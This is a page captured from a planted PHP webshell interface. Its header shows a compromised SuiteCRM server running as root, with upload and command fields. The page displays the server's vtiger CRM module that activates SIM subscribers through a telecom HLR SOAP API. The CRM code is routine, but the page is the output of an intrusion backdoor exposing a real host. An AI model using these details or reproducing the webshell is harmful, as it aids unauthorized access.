403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/modules/SellingSimcard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/modules/SellingSimcard/AddSubscribers.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/


function handleAddSubscribers($entityData){
    $adb = PearDatabase::getInstance();
    $moduleName = $entityData->getModuleName();
    $wsId = $entityData->getId();
    $parts = explode('x', $wsId);
    $recordId = $parts[1];
    
    $entityResult = $entityData->data;

    if($recordId){
        $related_simgenerate = $entityResult['related_simgenerate'];
        $sellingsim_isdn = $entityResult['sellingsim_isdn'];
        $sellingsim_imsi = $entityResult['sellingsim_imsi'];
       /* $sellingsim_isdn = '252642000901';
        $sellingsim_imsi = '637026400149010';*/

        $inventoryModuleModel = new SellingInventory_Module_Model();
        //$loginResponse =  $inventoryModuleModel->checkHLRLoginAPI();
        
        $loginCredentials = $inventoryModuleModel->getAPISettingsDetails();
        $apiurl = $loginCredentials['hlr_apiurl'];
        $username = $loginCredentials['hlr_username'];
        $password = $loginCredentials['hlr_password'];

        //call HLR login API
        $curl = curl_init();
        $crmapirequest = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Body>
                <LGI>
                    <OPNAME>'.$username.'</OPNAME>
                    <PWD>'.$password.'</PWD>
                </LGI>
            </soapenv:Body>
            </soapenv:Envelope>';
        curl_setopt_array($curl, array(
            CURLOPT_URL => $apiurl,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_HEADER => true,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS =>$crmapirequest,
            CURLOPT_HTTPHEADER => array(
                'Content-Type: text/plain',
                'User-Agent: Jakarta Commons-HttpClient/3.1'
            ),
        )); 

        $response = curl_exec($curl);
    
        //if log enable save api log
        $logStaus = $inventoryModuleModel->checkApiLogEnabled();
        if($logStaus){
            $loginsertid = $inventoryModuleModel->insertRecordInApiModule($apiurl, $crmapirequest,$response);
        }
        $headerlocation = '';
        if (strpos($response, 'Location') !== false) {
            $arrresponse = explode("Location:", $response);
            $arrresponse1 = explode("Server:", $arrresponse[1]);
            $headerlocation = $arrresponse1[0];
        }
        $loginResponse = trim($headerlocation);
        if(!empty($loginResponse)){

            $apiurl = $loginResponse;
            $crmapirequest = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                <soapenv:Body>
                <ADD_TPLSUB>
                    <HLRSN>2</HLRSN>
                    <IMSI>'.$sellingsim_imsi.'</IMSI>
                    <ISDN>'.$sellingsim_isdn.'</ISDN>
                    <TPLID>600</TPLID>
                </ADD_TPLSUB>
                </soapenv:Body>
            </soapenv:Envelope>';
            curl_setopt_array($curl, array(
                CURLOPT_URL => $apiurl,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_HEADER => false,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_CUSTOMREQUEST => 'POST',
                CURLOPT_POSTFIELDS =>$crmapirequest,
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: text/plain',
                    'User-Agent: Jakarta Commons-HttpClient/3.1'
                ),
            )); 

            $response1 = curl_exec($curl);

            //if log enable save api log
            $logStaus = $inventoryModuleModel->checkApiLogEnabled();
            if($logStaus){
                $loginsertid = $inventoryModuleModel->insertRecordInApiModule($apiurl, $crmapirequest,$response1);
            }
            $soap     = simplexml_load_string($response1);
            $arrresponse = $soap->children('http://schemas.xmlsoap.org/soap/envelope/')->Body->children();
            $xmlresponse = $arrresponse->ADD_TPLSUBResponse->Result->ResultCode;
            curl_close($curl);
        
            $arrSimgenerateIds = explode('x',$related_simgenerate);
            $related_simgenerate = $arrSimgenerateIds[1];
            $recordSimGenerateModel = Vtiger_Record_Model::getInstanceById($related_simgenerate,'SimGenerate');
            $simdivision = $recordSimGenerateModel->get('simtype');
            $simcarddistributeid = $recordSimGenerateModel->get('related_simcarddistribute');

            $currentuserid = $_SESSION['authenticated_user_id'];
            $userRecordModel = Vtiger_Record_Model::getInstanceById($currentuserid,'Users');
            $first_name = $userRecordModel->get('first_name');
            $last_name = $userRecordModel->get('last_name');
            $currentUserName = $first_name." ".$last_name;

            //update  sim distribute balance when simcard sell
            $simDistributeModel = Vtiger_Record_Model::getInstanceById($simcarddistributeid,'SimcardDistribute');
            $distribute_balance = $simDistributeModel->get('distribute_balance');
            $newdistribute_balance = $distribute_balance - 1;

            $simDistributeModel->set('mode', 'edit');
            $simDistributeModel->set('distribute_balance', $newdistribute_balance);
            $simDistributeModel->save();
            
            /*$queryresult = $adb->pquery("SELECT simcarddistributeid FROM vtiger_simcarddistribute WHERE related_simdivision=? AND distribute_cashiernm=?", array($simdivision, $currentUserName));
            $resultnumrows = $adb->num_rows($queryresult);

            if($resultnumrows > 0){
                $simcarddistributeid = $adb->query_result($queryresult, 0, 'simcarddistributeid');

                $simDistributeModel = Vtiger_Record_Model::getInstanceById($simcarddistributeid,'SimcardDistribute');
                $distribute_balance = $simDistributeModel->get('distribute_balance');
                $newdistribute_balance = $distribute_balance - 1;

                $simDistributeModel->set('mode', 'edit');
                $simDistributeModel->set('distribute_balance', $newdistribute_balance);
                $simDistributeModel->save();

            }*/
            if($xmlresponse == 0){
                
                //update status of sim generate when subscriber generate
                $adb->pquery("UPDATE vtiger_simgenerate SET simgenerate_status=?, assignedstatus=? WHERE simcard_number=? AND simcard_imsino= ?",  array('Activate', 'Activate', $sellingsim_isdn, $sellingsim_imsi));
            }else{
                $adb->pquery("UPDATE vtiger_simgenerate SET simgenerate_status=?, assignedstatus=? WHERE simcard_number=? AND simcard_imsino=?", array('Fail', 'Fail', $sellingsim_isdn, $sellingsim_imsi));
            }
        }
        
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit